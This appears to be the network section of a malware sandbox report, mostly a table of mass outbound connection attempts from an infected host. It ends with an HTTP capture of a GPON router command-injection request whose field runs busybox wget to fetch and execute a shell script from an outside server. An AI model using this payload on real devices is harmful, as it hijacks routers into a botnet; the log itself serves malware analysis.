Mar 21, 2024 05:21:47.400859118 CET	49712	8080	192.168.2.13	172.123.181.90
Mar 21, 2024 05:21:47.400859118 CET	51760	55555	192.168.2.13	98.196.229.176
Mar 21, 2024 05:21:47.400859118 CET	49712	8080	192.168.2.13	98.202.225.49
Mar 21, 2024 05:21:47.400859118 CET	51760	55555	192.168.2.13	172.181.166.138
Mar 21, 2024 05:21:47.400859118 CET	49712	8080	192.168.2.13	98.248.9.71
Mar 21, 2024 05:21:47.400859118 CET	51760	55555	192.168.2.13	184.48.66.214
Mar 21, 2024 05:21:47.400859118 CET	49712	8080	192.168.2.13	184.139.58.229
Mar 21, 2024 05:21:47.400862932 CET	51760	55555	192.168.2.13	184.251.36.218
Mar 21, 2024 05:21:47.400862932 CET	51760	55555	192.168.2.13	98.30.178.42
Mar 21, 2024 05:21:47.400862932 CET	51760	55555	192.168.2.13	172.90.212.183
Mar 21, 2024 05:21:47.400866985 CET	51760	55555	192.168.2.13	172.138.77.250
Mar 21, 2024 05:21:47.400866985 CET	49712	8080	192.168.2.13	98.226.0.85
Mar 21, 2024 05:21:47.400868893 CET	51760	55555	192.168.2.13	98.185.36.211
Mar 21, 2024 05:21:47.400868893 CET	49712	8080	192.168.2.13	184.247.10.57
Mar 21, 2024 05:21:47.400868893 CET	51760	55555	192.168.2.13	172.133.177.136
Mar 21, 2024 05:21:47.400868893 CET	51760	55555	192.168.2.13	172.254.139.104
Mar 21, 2024 05:21:47.400868893 CET	51760	55555	192.168.2.13	184.8.244.213
Mar 21, 2024 05:21:47.400868893 CET	51760	55555	192.168.2.13	184.40.34.78
Mar 21, 2024 05:21:47.400868893 CET	51760	55555	192.168.2.13	98.187.39.79
Mar 21, 2024 05:21:47.400868893 CET	51760	55555	192.168.2.13	98.54.14.113
Mar 21, 2024 05:21:47.400871992 CET	49712	8080	192.168.2.13	98.179.234.207
Mar 21, 2024 05:21:47.400899887 CET	49712	8080	192.168.2.13	184.158.75.27
Mar 21, 2024 05:21:47.400899887 CET	49712	8080	192.168.2.13	184.174.212.255
Mar 21, 2024 05:21:47.400899887 CET	51760	55555	192.168.2.13	184.44.133.32
Mar 21, 2024 05:21:47.400899887 CET	51760	55555	192.168.2.13	98.53.144.45
Mar 21, 2024 05:21:47.400899887 CET	51760	55555	192.168.2.13	184.253.52.46
Mar 21, 2024 05:21:47.400902987 CET	51760	55555	192.168.2.13	172.13.165.252
Mar 21, 2024 05:21:47.400902987 CET	51760	55555	192.168.2.13	98.158.189.136
Mar 21, 2024 05:21:47.400904894 CET	51760	55555	192.168.2.13	184.81.7.223
Mar 21, 2024 05:21:47.400902987 CET	51760	55555	192.168.2.13	98.142.20.238
Mar 21, 2024 05:21:47.400904894 CET	51760	55555	192.168.2.13	184.139.142.223
Mar 21, 2024 05:21:47.400902987 CET	51760	55555	192.168.2.13	98.144.81.1
Mar 21, 2024 05:21:47.400907040 CET	51760	55555	192.168.2.13	172.129.69.19
Mar 21, 2024 05:21:47.400902987 CET	51760	55555	192.168.2.13	184.19.235.238
Mar 21, 2024 05:21:47.400917053 CET	49712	8080	192.168.2.13	98.124.101.192
Mar 21, 2024 05:21:47.400939941 CET	51760	55555	192.168.2.13	172.63.192.20
Mar 21, 2024 05:21:47.400939941 CET	49712	8080	192.168.2.13	184.61.135.172
Mar 21, 2024 05:21:47.400940895 CET	51760	55555	192.168.2.13	172.194.166.224
Mar 21, 2024 05:21:47.400940895 CET	51760	55555	192.168.2.13	172.166.228.54
Mar 21, 2024 05:21:47.400940895 CET	51760	55555	192.168.2.13	184.90.162.65
Mar 21, 2024 05:21:47.400940895 CET	51760	55555	192.168.2.13	184.176.178.187
Mar 21, 2024 05:21:47.400940895 CET	51760	55555	192.168.2.13	98.93.140.165
Mar 21, 2024 05:21:47.400942087 CET	51760	55555	192.168.2.13	172.197.225.42
Mar 21, 2024 05:21:47.400942087 CET	49712	8080	192.168.2.13	98.41.49.127
Mar 21, 2024 05:21:47.400942087 CET	51760	55555	192.168.2.13	172.60.190.167
Mar 21, 2024 05:21:47.400944948 CET	49712	8080	192.168.2.13	172.108.36.108
Mar 21, 2024 05:21:47.400944948 CET	49712	8080	192.168.2.13	98.87.46.107
Mar 21, 2024 05:21:47.400947094 CET	51760	55555	192.168.2.13	98.143.141.198
Mar 21, 2024 05:21:47.400948048 CET	51760	55555	192.168.2.13	172.50.48.170
Mar 21, 2024 05:21:47.400947094 CET	49712	8080	192.168.2.13	184.123.172.16
Mar 21, 2024 05:21:47.400944948 CET	51760	55555	192.168.2.13	172.9.142.29
Mar 21, 2024 05:21:47.400944948 CET	51760	55555	192.168.2.13	184.107.23.123
Mar 21, 2024 05:21:47.400964022 CET	51760	55555	192.168.2.13	184.230.227.178
Mar 21, 2024 05:21:47.400971889 CET	51760	55555	192.168.2.13	184.202.104.76
Mar 21, 2024 05:21:47.400971889 CET	51760	55555	192.168.2.13	184.80.30.32
Mar 21, 2024 05:21:47.400974035 CET	51760	55555	192.168.2.13	172.138.211.77
Mar 21, 2024 05:21:47.400974035 CET	51760	55555	192.168.2.13	184.72.255.233
Mar 21, 2024 05:21:47.400974989 CET	51760	55555	192.168.2.13	172.213.224.161
Mar 21, 2024 05:21:47.400974989 CET	51760	55555	192.168.2.13	184.242.139.49
Mar 21, 2024 05:21:47.400974989 CET	51760	55555	192.168.2.13	172.24.211.249
Mar 21, 2024 05:21:47.400974989 CET	51760	55555	192.168.2.13	184.126.199.101
Mar 21, 2024 05:21:47.400974989 CET	51760	55555	192.168.2.13	172.30.163.22
Mar 21, 2024 05:21:47.400974989 CET	51760	55555	192.168.2.13	172.129.108.123
Mar 21, 2024 05:21:47.400981903 CET	49712	8080	192.168.2.13	98.20.44.180
Mar 21, 2024 05:21:47.400986910 CET	51760	55555	192.168.2.13	184.123.91.44
Mar 21, 2024 05:21:47.400986910 CET	49712	8080	192.168.2.13	172.202.83.105
Mar 21, 2024 05:21:47.400989056 CET	49712	8080	192.168.2.13	98.56.99.165
Mar 21, 2024 05:21:47.400989056 CET	51760	55555	192.168.2.13	184.12.250.18
Mar 21, 2024 05:21:47.401005030 CET	51760	55555	192.168.2.13	184.139.227.130
Mar 21, 2024 05:21:47.401005983 CET	49712	8080	192.168.2.13	184.23.118.212
Mar 21, 2024 05:21:47.401005983 CET	51760	55555	192.168.2.13	184.154.153.135
Mar 21, 2024 05:21:47.401005983 CET	51760	55555	192.168.2.13	98.49.235.15
Mar 21, 2024 05:21:47.401009083 CET	51760	55555	192.168.2.13	184.54.201.44
Mar 21, 2024 05:21:47.401009083 CET	51760	55555	192.168.2.13	98.7.8.65
Mar 21, 2024 05:21:47.401009083 CET	51760	55555	192.168.2.13	184.250.196.141
Mar 21, 2024 05:21:47.401009083 CET	49712	8080	192.168.2.13	184.171.228.206
Mar 21, 2024 05:21:47.401010036 CET	51760	55555	192.168.2.13	98.28.71.151
Mar 21, 2024 05:21:47.401026964 CET	51760	55555	192.168.2.13	184.48.229.216
Mar 21, 2024 05:21:47.401036024 CET	49712	8080	192.168.2.13	172.87.224.118
Mar 21, 2024 05:21:47.401036978 CET	51760	55555	192.168.2.13	98.250.188.51
Mar 21, 2024 05:21:47.401036978 CET	51760	55555	192.168.2.13	184.70.250.52
Mar 21, 2024 05:21:47.401042938 CET	51760	55555	192.168.2.13	184.247.126.119
Mar 21, 2024 05:21:47.401042938 CET	49712	8080	192.168.2.13	184.134.98.172
Mar 21, 2024 05:21:47.401042938 CET	51760	55555	192.168.2.13	172.89.152.128
Mar 21, 2024 05:21:47.401053905 CET	51760	55555	192.168.2.13	172.173.52.157
Mar 21, 2024 05:21:47.401053905 CET	51760	55555	192.168.2.13	184.110.83.149
Mar 21, 2024 05:21:47.401053905 CET	51760	55555	192.168.2.13	172.211.195.167
Mar 21, 2024 05:21:47.401053905 CET	51760	55555	192.168.2.13	172.136.192.42
Mar 21, 2024 05:21:47.401053905 CET	51760	55555	192.168.2.13	98.54.172.145
Mar 21, 2024 05:21:47.401067972 CET	51760	55555	192.168.2.13	98.1.109.119
Mar 21, 2024 05:21:47.401073933 CET	51760	55555	192.168.2.13	172.175.44.194
Mar 21, 2024 05:21:47.401073933 CET	49712	8080	192.168.2.13	184.22.222.201
Mar 21, 2024 05:21:47.401078939 CET	51760	55555	192.168.2.13	184.189.241.112
Mar 21, 2024 05:21:47.401078939 CET	49712	8080	192.168.2.13	98.227.127.237
Mar 21, 2024 05:21:47.401078939 CET	51760	55555	192.168.2.13	184.61.253.220
Mar 21, 2024 05:21:47.401078939 CET	51760	55555	192.168.2.13	172.240.44.78
Mar 21, 2024 05:21:47.401078939 CET	51760	55555	192.168.2.13	98.228.132.3
Mar 21, 2024 05:21:47.401083946 CET	51760	55555	192.168.2.13	184.227.230.111
Mar 21, 2024 05:21:47.401087046 CET	49712	8080	192.168.2.13	98.82.232.20
Mar 21, 2024 05:21:47.401087046 CET	51760	55555	192.168.2.13	172.53.101.77
Mar 21, 2024 05:21:47.401087999 CET	49712	8080	192.168.2.13	184.207.32.132
Mar 21, 2024 05:21:47.401093006 CET	49712	8080	192.168.2.13	172.185.86.227
Mar 21, 2024 05:21:47.401093006 CET	51760	55555	192.168.2.13	98.104.161.136
Mar 21, 2024 05:21:47.401097059 CET	49712	8080	192.168.2.13	98.152.78.51
Mar 21, 2024 05:21:47.401097059 CET	51760	55555	192.168.2.13	184.95.130.13
Mar 21, 2024 05:21:47.401097059 CET	51760	55555	192.168.2.13	98.49.159.107
Mar 21, 2024 05:21:47.401097059 CET	51760	55555	192.168.2.13	184.71.119.1
Mar 21, 2024 05:21:47.401101112 CET	51760	55555	192.168.2.13	172.183.245.107
Mar 21, 2024 05:21:47.401101112 CET	51760	55555	192.168.2.13	172.75.211.41
Mar 21, 2024 05:21:47.401103973 CET	51760	55555	192.168.2.13	172.108.137.49
Mar 21, 2024 05:21:47.401103973 CET	49712	8080	192.168.2.13	184.119.117.107
Mar 21, 2024 05:21:47.401103973 CET	51760	55555	192.168.2.13	172.244.1.109
Mar 21, 2024 05:21:47.401103973 CET	51760	55555	192.168.2.13	172.20.130.222
Mar 21, 2024 05:21:47.401103973 CET	49712	8080	192.168.2.13	184.102.249.75
Mar 21, 2024 05:21:47.401103973 CET	51760	55555	192.168.2.13	172.128.92.209
Mar 21, 2024 05:21:47.401112080 CET	49712	8080	192.168.2.13	184.209.38.105
Mar 21, 2024 05:21:47.401112080 CET	51760	55555	192.168.2.13	98.36.96.92
Mar 21, 2024 05:21:47.401120901 CET	49712	8080	192.168.2.13	98.88.104.230
Mar 21, 2024 05:21:47.401120901 CET	49712	8080	192.168.2.13	172.44.249.147
Mar 21, 2024 05:21:47.401120901 CET	51760	55555	192.168.2.13	172.28.146.108
Mar 21, 2024 05:21:47.401123047 CET	51760	55555	192.168.2.13	184.63.39.35
Mar 21, 2024 05:21:47.401127100 CET	51760	55555	192.168.2.13	172.252.195.126
Mar 21, 2024 05:21:47.401130915 CET	49712	8080	192.168.2.13	172.169.193.8
Mar 21, 2024 05:21:47.401146889 CET	51760	55555	192.168.2.13	184.72.224.77
Mar 21, 2024 05:21:47.401155949 CET	51760	55555	192.168.2.13	184.247.114.67
Mar 21, 2024 05:21:47.401163101 CET	49712	8080	192.168.2.13	184.171.150.234
Mar 21, 2024 05:21:47.401163101 CET	51760	55555	192.168.2.13	98.230.19.219
Mar 21, 2024 05:21:47.401174068 CET	49712	8080	192.168.2.13	172.45.16.58
Mar 21, 2024 05:21:47.401181936 CET	49712	8080	192.168.2.13	172.37.33.12
Mar 21, 2024 05:21:47.401216984 CET	51760	55555	192.168.2.13	184.82.245.244
Mar 21, 2024 05:21:47.401236057 CET	51760	55555	192.168.2.13	98.45.69.133
Mar 21, 2024 05:21:47.401236057 CET	51760	55555	192.168.2.13	98.237.63.184
Mar 21, 2024 05:21:47.401243925 CET	51760	55555	192.168.2.13	184.25.167.195
Mar 21, 2024 05:21:47.401258945 CET	51760	55555	192.168.2.13	184.72.195.143
Mar 21, 2024 05:21:47.401259899 CET	51760	55555	192.168.2.13	98.79.121.214
Mar 21, 2024 05:21:47.401261091 CET	51760	55555	192.168.2.13	172.113.134.140
Mar 21, 2024 05:21:47.401261091 CET	51760	55555	192.168.2.13	172.72.20.175
Mar 21, 2024 05:21:47.401266098 CET	51760	55555	192.168.2.13	172.8.141.6
Mar 21, 2024 05:21:47.401266098 CET	51760	55555	192.168.2.13	184.0.57.223
Mar 21, 2024 05:21:47.401266098 CET	51760	55555	192.168.2.13	172.45.179.8
Mar 21, 2024 05:21:47.401268959 CET	51760	55555	192.168.2.13	172.22.6.152
Mar 21, 2024 05:21:47.401297092 CET	51760	55555	192.168.2.13	172.82.31.231
Mar 21, 2024 05:21:47.401298046 CET	51760	55555	192.168.2.13	172.189.109.212
Mar 21, 2024 05:21:47.401304960 CET	51760	55555	192.168.2.13	172.157.157.156
Mar 21, 2024 05:21:47.401312113 CET	51760	55555	192.168.2.13	98.30.87.230
Mar 21, 2024 05:21:47.401321888 CET	51760	55555	192.168.2.13	184.158.37.94
Mar 21, 2024 05:21:47.401323080 CET	51760	55555	192.168.2.13	172.80.25.245
Mar 21, 2024 05:21:47.401325941 CET	51760	55555	192.168.2.13	98.246.209.153
Mar 21, 2024 05:21:47.401326895 CET	51760	55555	192.168.2.13	184.242.109.49
Mar 21, 2024 05:21:47.401325941 CET	51760	55555	192.168.2.13	184.171.72.23
Mar 21, 2024 05:21:47.401348114 CET	51760	55555	192.168.2.13	98.169.19.203
Mar 21, 2024 05:21:47.401348114 CET	51760	55555	192.168.2.13	172.105.141.223
Mar 21, 2024 05:21:47.401350021 CET	51760	55555	192.168.2.13	184.175.161.211
Mar 21, 2024 05:21:47.401350021 CET	51760	55555	192.168.2.13	98.253.55.232
Mar 21, 2024 05:21:47.401351929 CET	51760	55555	192.168.2.13	172.193.110.141
Mar 21, 2024 05:21:47.401366949 CET	51760	55555	192.168.2.13	184.231.236.30
Mar 21, 2024 05:21:47.401377916 CET	51760	55555	192.168.2.13	98.121.207.226
Mar 21, 2024 05:21:47.401382923 CET	51760	55555	192.168.2.13	98.3.210.111
Mar 21, 2024 05:21:47.401390076 CET	51760	55555	192.168.2.13	184.131.7.218
Mar 21, 2024 05:21:47.401392937 CET	51760	55555	192.168.2.13	184.233.4.242
Mar 21, 2024 05:21:47.401406050 CET	51760	55555	192.168.2.13	98.41.158.126
Mar 21, 2024 05:21:47.401406050 CET	51760	55555	192.168.2.13	184.78.190.47
Mar 21, 2024 05:21:47.401408911 CET	51760	55555	192.168.2.13	172.186.180.94
Mar 21, 2024 05:21:47.401408911 CET	51760	55555	192.168.2.13	172.18.217.207
Mar 21, 2024 05:21:47.401417017 CET	51760	55555	192.168.2.13	98.193.208.56
Mar 21, 2024 05:21:47.401420116 CET	51760	55555	192.168.2.13	172.89.104.121
Mar 21, 2024 05:21:47.401421070 CET	51760	55555	192.168.2.13	184.8.104.246
Mar 21, 2024 05:21:47.401426077 CET	51760	55555	192.168.2.13	172.16.120.22
Mar 21, 2024 05:21:47.401426077 CET	51760	55555	192.168.2.13	172.62.166.89
Mar 21, 2024 05:21:47.401432037 CET	51760	55555	192.168.2.13	172.127.222.178
Mar 21, 2024 05:21:47.401432037 CET	51760	55555	192.168.2.13	172.101.94.0
Mar 21, 2024 05:21:47.401443005 CET	51760	55555	192.168.2.13	98.215.3.79
Mar 21, 2024 05:21:47.401446104 CET	51760	55555	192.168.2.13	98.50.207.222
Mar 21, 2024 05:21:47.401464939 CET	51760	55555	192.168.2.13	172.72.214.184
Mar 21, 2024 05:21:47.401474953 CET	51760	55555	192.168.2.13	184.51.126.82
Mar 21, 2024 05:21:47.401479006 CET	51760	55555	192.168.2.13	172.162.89.84
Mar 21, 2024 05:21:47.401484013 CET	51760	55555	192.168.2.13	184.146.153.31
Mar 21, 2024 05:21:47.401499033 CET	51760	55555	192.168.2.13	98.14.88.80
Mar 21, 2024 05:21:47.401499033 CET	51760	55555	192.168.2.13	172.8.236.85
Mar 21, 2024 05:21:47.401503086 CET	51760	55555	192.168.2.13	98.246.197.252
Mar 21, 2024 05:21:47.401504040 CET	51760	55555	192.168.2.13	184.42.46.124
Mar 21, 2024 05:21:47.401504040 CET	51760	55555	192.168.2.13	172.181.157.170
Mar 21, 2024 05:21:47.401516914 CET	51760	55555	192.168.2.13	98.28.142.54
Mar 21, 2024 05:21:47.401519060 CET	51760	55555	192.168.2.13	184.248.193.233
Mar 21, 2024 05:21:47.401524067 CET	51760	55555	192.168.2.13	98.216.217.120
Mar 21, 2024 05:21:47.401526928 CET	51760	55555	192.168.2.13	98.152.82.218
Mar 21, 2024 05:21:47.401540041 CET	51760	55555	192.168.2.13	184.36.156.247
Mar 21, 2024 05:21:47.401541948 CET	51760	55555	192.168.2.13	172.161.149.36
Mar 21, 2024 05:21:47.401541948 CET	51760	55555	192.168.2.13	172.180.7.155
Mar 21, 2024 05:21:47.401546001 CET	51760	55555	192.168.2.13	172.206.156.76
Mar 21, 2024 05:21:47.401556015 CET	51760	55555	192.168.2.13	172.73.122.1
Mar 21, 2024 05:21:47.401561975 CET	51760	55555	192.168.2.13	184.231.178.161
Mar 21, 2024 05:21:47.401567936 CET	51760	55555	192.168.2.13	172.183.106.31
Mar 21, 2024 05:21:47.401582003 CET	51760	55555	192.168.2.13	184.73.174.115
Mar 21, 2024 05:21:47.401582003 CET	51760	55555	192.168.2.13	172.104.232.236
Mar 21, 2024 05:21:47.401583910 CET	51760	55555	192.168.2.13	172.240.27.59
Mar 21, 2024 05:21:47.401586056 CET	51760	55555	192.168.2.13	98.115.37.176
Mar 21, 2024 05:21:47.401586056 CET	51760	55555	192.168.2.13	184.148.204.130
Mar 21, 2024 05:21:47.401586056 CET	51760	55555	192.168.2.13	98.244.64.242
Mar 21, 2024 05:21:47.401602983 CET	51760	55555	192.168.2.13	98.80.221.208
Mar 21, 2024 05:21:47.401611090 CET	51760	55555	192.168.2.13	98.182.255.28
Mar 21, 2024 05:21:47.401612043 CET	51760	55555	192.168.2.13	184.150.62.186
Mar 21, 2024 05:21:47.401616096 CET	51760	55555	192.168.2.13	184.11.123.31
Mar 21, 2024 05:21:47.401621103 CET	51760	55555	192.168.2.13	172.83.116.4
Mar 21, 2024 05:21:47.401631117 CET	51760	55555	192.168.2.13	172.11.191.215
Mar 21, 2024 05:21:47.401632071 CET	51760	55555	192.168.2.13	184.56.137.33
Mar 21, 2024 05:21:47.401633024 CET	51760	55555	192.168.2.13	98.23.59.254
Mar 21, 2024 05:21:47.401635885 CET	51760	55555	192.168.2.13	172.207.95.173
Mar 21, 2024 05:21:47.401650906 CET	51760	55555	192.168.2.13	172.233.138.67
Mar 21, 2024 05:21:47.401659012 CET	51760	55555	192.168.2.13	172.67.221.144
Mar 21, 2024 05:21:47.401659012 CET	51760	55555	192.168.2.13	172.250.217.241
Mar 21, 2024 05:21:47.401669979 CET	51760	55555	192.168.2.13	172.155.119.22
Mar 21, 2024 05:21:47.401673079 CET	51760	55555	192.168.2.13	172.22.149.132
Mar 21, 2024 05:21:47.401674986 CET	51760	55555	192.168.2.13	172.1.228.158
Mar 21, 2024 05:21:47.401676893 CET	51760	55555	192.168.2.13	98.44.92.19
Mar 21, 2024 05:21:47.401691914 CET	51760	55555	192.168.2.13	184.87.141.48
Mar 21, 2024 05:21:47.401694059 CET	51760	55555	192.168.2.13	172.4.94.158
Mar 21, 2024 05:21:47.401694059 CET	51760	55555	192.168.2.13	184.248.160.38
Mar 21, 2024 05:21:47.401699066 CET	51760	55555	192.168.2.13	184.137.162.217
Mar 21, 2024 05:21:47.401705980 CET	51760	55555	192.168.2.13	184.231.86.210
Mar 21, 2024 05:21:47.401710033 CET	51760	55555	192.168.2.13	172.89.87.181
Mar 21, 2024 05:21:47.401716948 CET	51760	55555	192.168.2.13	98.11.70.138
Mar 21, 2024 05:21:47.401721954 CET	51760	55555	192.168.2.13	172.148.240.43
Mar 21, 2024 05:21:47.401721954 CET	51760	55555	192.168.2.13	98.48.245.143
Mar 21, 2024 05:21:47.401732922 CET	51760	55555	192.168.2.13	98.123.39.162
Mar 21, 2024 05:21:47.401741028 CET	51760	55555	192.168.2.13	172.81.50.205
Mar 21, 2024 05:21:47.401746988 CET	51760	55555	192.168.2.13	172.100.17.87
Mar 21, 2024 05:21:47.401758909 CET	51760	55555	192.168.2.13	98.91.237.204
Mar 21, 2024 05:21:47.401767015 CET	51760	55555	192.168.2.13	172.9.75.142
Mar 21, 2024 05:21:47.401777983 CET	51760	55555	192.168.2.13	184.212.215.134
Mar 21, 2024 05:21:47.401777983 CET	51760	55555	192.168.2.13	98.18.77.250
Mar 21, 2024 05:21:47.401781082 CET	51760	55555	192.168.2.13	172.29.209.85
Mar 21, 2024 05:21:47.401782990 CET	51760	55555	192.168.2.13	184.113.198.44
Mar 21, 2024 05:21:47.401784897 CET	51760	55555	192.168.2.13	172.238.54.156
Mar 21, 2024 05:21:47.401784897 CET	51760	55555	192.168.2.13	184.13.145.163
Mar 21, 2024 05:21:47.401784897 CET	51760	55555	192.168.2.13	98.56.170.134
Mar 21, 2024 05:21:47.401799917 CET	51760	55555	192.168.2.13	184.0.109.12
Mar 21, 2024 05:21:47.401804924 CET	51760	55555	192.168.2.13	98.75.2.144
Mar 21, 2024 05:21:47.401804924 CET	51760	55555	192.168.2.13	184.216.188.175
Mar 21, 2024 05:21:47.401807070 CET	51760	55555	192.168.2.13	98.100.12.220
Mar 21, 2024 05:21:47.401807070 CET	51760	55555	192.168.2.13	184.146.26.31
Mar 21, 2024 05:21:47.401807070 CET	51760	55555	192.168.2.13	184.7.57.30
Mar 21, 2024 05:21:47.401807070 CET	51760	55555	192.168.2.13	98.91.132.82
Mar 21, 2024 05:21:47.401819944 CET	51760	55555	192.168.2.13	172.212.151.166
Mar 21, 2024 05:21:47.401850939 CET	51760	55555	192.168.2.13	184.8.182.56
Mar 21, 2024 05:21:47.401854038 CET	51760	55555	192.168.2.13	172.108.146.118
Mar 21, 2024 05:21:47.401855946 CET	51760	55555	192.168.2.13	98.211.130.15
Mar 21, 2024 05:21:47.401855946 CET	51760	55555	192.168.2.13	172.25.59.66
Mar 21, 2024 05:21:47.401856899 CET	51760	55555	192.168.2.13	172.12.161.180
Mar 21, 2024 05:21:47.401856899 CET	51760	55555	192.168.2.13	172.186.147.63
Mar 21, 2024 05:21:47.401859999 CET	51760	55555	192.168.2.13	98.198.196.42
Mar 21, 2024 05:21:47.401859999 CET	51760	55555	192.168.2.13	184.203.169.163
Mar 21, 2024 05:21:47.401859999 CET	51760	55555	192.168.2.13	172.114.247.98
Mar 21, 2024 05:21:47.401861906 CET	51760	55555	192.168.2.13	172.56.72.229
Mar 21, 2024 05:21:47.401864052 CET	51760	55555	192.168.2.13	98.60.112.237
Mar 21, 2024 05:21:47.401869059 CET	51760	55555	192.168.2.13	184.170.231.50
Mar 21, 2024 05:21:47.401870966 CET	51760	55555	192.168.2.13	184.139.216.252
Mar 21, 2024 05:21:47.401875973 CET	51760	55555	192.168.2.13	184.93.111.157
Mar 21, 2024 05:21:47.401885986 CET	51760	55555	192.168.2.13	184.241.219.212
Mar 21, 2024 05:21:47.401885986 CET	51760	55555	192.168.2.13	172.200.217.96
Mar 21, 2024 05:21:47.401885986 CET	51760	55555	192.168.2.13	98.62.116.199
Mar 21, 2024 05:21:47.401886940 CET	51760	55555	192.168.2.13	172.121.145.49
Mar 21, 2024 05:21:47.401896954 CET	51760	55555	192.168.2.13	184.40.89.230
Mar 21, 2024 05:21:47.401897907 CET	51760	55555	192.168.2.13	184.139.88.191
Mar 21, 2024 05:21:47.401904106 CET	51760	55555	192.168.2.13	172.24.178.181
Mar 21, 2024 05:21:47.401905060 CET	51760	55555	192.168.2.13	98.135.223.71
Mar 21, 2024 05:21:47.401906967 CET	51760	55555	192.168.2.13	172.249.228.244
Mar 21, 2024 05:21:47.401911020 CET	51760	55555	192.168.2.13	98.15.188.53
Mar 21, 2024 05:21:47.401916027 CET	51760	55555	192.168.2.13	98.206.204.17
Mar 21, 2024 05:21:47.401916981 CET	51760	55555	192.168.2.13	98.8.170.181
Mar 21, 2024 05:21:47.401921988 CET	51760	55555	192.168.2.13	172.237.88.135
Mar 21, 2024 05:21:47.401957989 CET	51760	55555	192.168.2.13	98.168.56.23
Mar 21, 2024 05:21:47.401957989 CET	51760	55555	192.168.2.13	98.43.79.182
Mar 21, 2024 05:21:47.401961088 CET	51760	55555	192.168.2.13	172.31.209.51
Mar 21, 2024 05:21:47.401963949 CET	51760	55555	192.168.2.13	184.155.105.162
Mar 21, 2024 05:21:47.401963949 CET	51760	55555	192.168.2.13	172.123.138.36
Mar 21, 2024 05:21:47.401972055 CET	51760	55555	192.168.2.13	98.112.14.210
Mar 21, 2024 05:21:47.401973009 CET	51760	55555	192.168.2.13	98.21.43.157
Mar 21, 2024 05:21:47.401987076 CET	51760	55555	192.168.2.13	172.182.0.176
Mar 21, 2024 05:21:47.401987076 CET	51760	55555	192.168.2.13	98.209.129.179
Mar 21, 2024 05:21:47.401995897 CET	50736	443	192.168.2.13	212.5.239.105
Mar 21, 2024 05:21:47.401995897 CET	51760	55555	192.168.2.13	184.255.51.29
Mar 21, 2024 05:21:47.401998997 CET	50736	443	192.168.2.13	5.91.87.105
Mar 21, 2024 05:21:47.401998997 CET	51760	55555	192.168.2.13	98.73.108.107
Mar 21, 2024 05:21:47.401999950 CET	51760	55555	192.168.2.13	172.242.108.17
Mar 21, 2024 05:21:47.402013063 CET	51760	55555	192.168.2.13	98.236.192.37
Mar 21, 2024 05:21:47.402017117 CET	443	50736	212.5.239.105	192.168.2.13
Mar 21, 2024 05:21:47.402019024 CET	443	50736	5.91.87.105	192.168.2.13
Mar 21, 2024 05:21:47.402026892 CET	51760	55555	192.168.2.13	98.211.140.30
Mar 21, 2024 05:21:47.402029991 CET	50736	443	192.168.2.13	109.231.177.107
Mar 21, 2024 05:21:47.402031898 CET	50736	443	192.168.2.13	42.217.64.119
Mar 21, 2024 05:21:47.402033091 CET	50736	443	192.168.2.13	5.118.51.66
Mar 21, 2024 05:21:47.402045012 CET	443	50736	5.118.51.66	192.168.2.13
Mar 21, 2024 05:21:47.402062893 CET	50736	443	192.168.2.13	212.5.239.105
Mar 21, 2024 05:21:47.402084112 CET	50736	443	192.168.2.13	5.118.51.66
Mar 21, 2024 05:21:47.402084112 CET	50736	443	192.168.2.13	5.91.87.105
Mar 21, 2024 05:21:47.402091980 CET	50736	443	192.168.2.13	212.1.199.125
Mar 21, 2024 05:21:47.402095079 CET	50736	443	192.168.2.13	42.184.180.231
Mar 21, 2024 05:21:47.402095079 CET	50736	443	192.168.2.13	109.9.221.243
Mar 21, 2024 05:21:47.402101994 CET	443	50736	212.1.199.125	192.168.2.13
Mar 21, 2024 05:21:47.402112007 CET	50736	443	192.168.2.13	118.140.70.237
Mar 21, 2024 05:21:47.402115107 CET	50736	443	192.168.2.13	212.172.144.52
Mar 21, 2024 05:21:47.402116060 CET	443	50736	42.184.180.231	192.168.2.13
Mar 21, 2024 05:21:47.402115107 CET	50736	443	192.168.2.13	109.116.191.83
Mar 21, 2024 05:21:47.402117014 CET	443	50736	109.9.221.243	192.168.2.13
Mar 21, 2024 05:21:47.402121067 CET	50736	443	192.168.2.13	212.1.199.125
Mar 21, 2024 05:21:47.402121067 CET	51760	55555	192.168.2.13	172.174.49.117
Mar 21, 2024 05:21:47.402127028 CET	50736	443	192.168.2.13	42.35.152.79
Mar 21, 2024 05:21:47.402127981 CET	443	50736	118.140.70.237	192.168.2.13
Mar 21, 2024 05:21:47.402129889 CET	51760	55555	192.168.2.13	172.122.96.75
Mar 21, 2024 05:21:47.402129889 CET	51760	55555	192.168.2.13	184.197.178.138
Mar 21, 2024 05:21:47.402132034 CET	50736	443	192.168.2.13	118.186.165.241
Mar 21, 2024 05:21:47.402137995 CET	443	50736	42.35.152.79	192.168.2.13
Mar 21, 2024 05:21:47.402137995 CET	50736	443	192.168.2.13	109.234.17.49
Mar 21, 2024 05:21:47.402138948 CET	443	50736	212.172.144.52	192.168.2.13
Mar 21, 2024 05:21:47.402142048 CET	50736	443	192.168.2.13	42.172.183.122
Mar 21, 2024 05:21:47.402148008 CET	443	50736	109.234.17.49	192.168.2.13
Mar 21, 2024 05:21:47.402148962 CET	50736	443	192.168.2.13	212.29.81.183
Mar 21, 2024 05:21:47.402148962 CET	50736	443	192.168.2.13	212.255.218.251

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	52344	212.5.239.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:47.430882931 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.13	50032	5.91.87.105	443

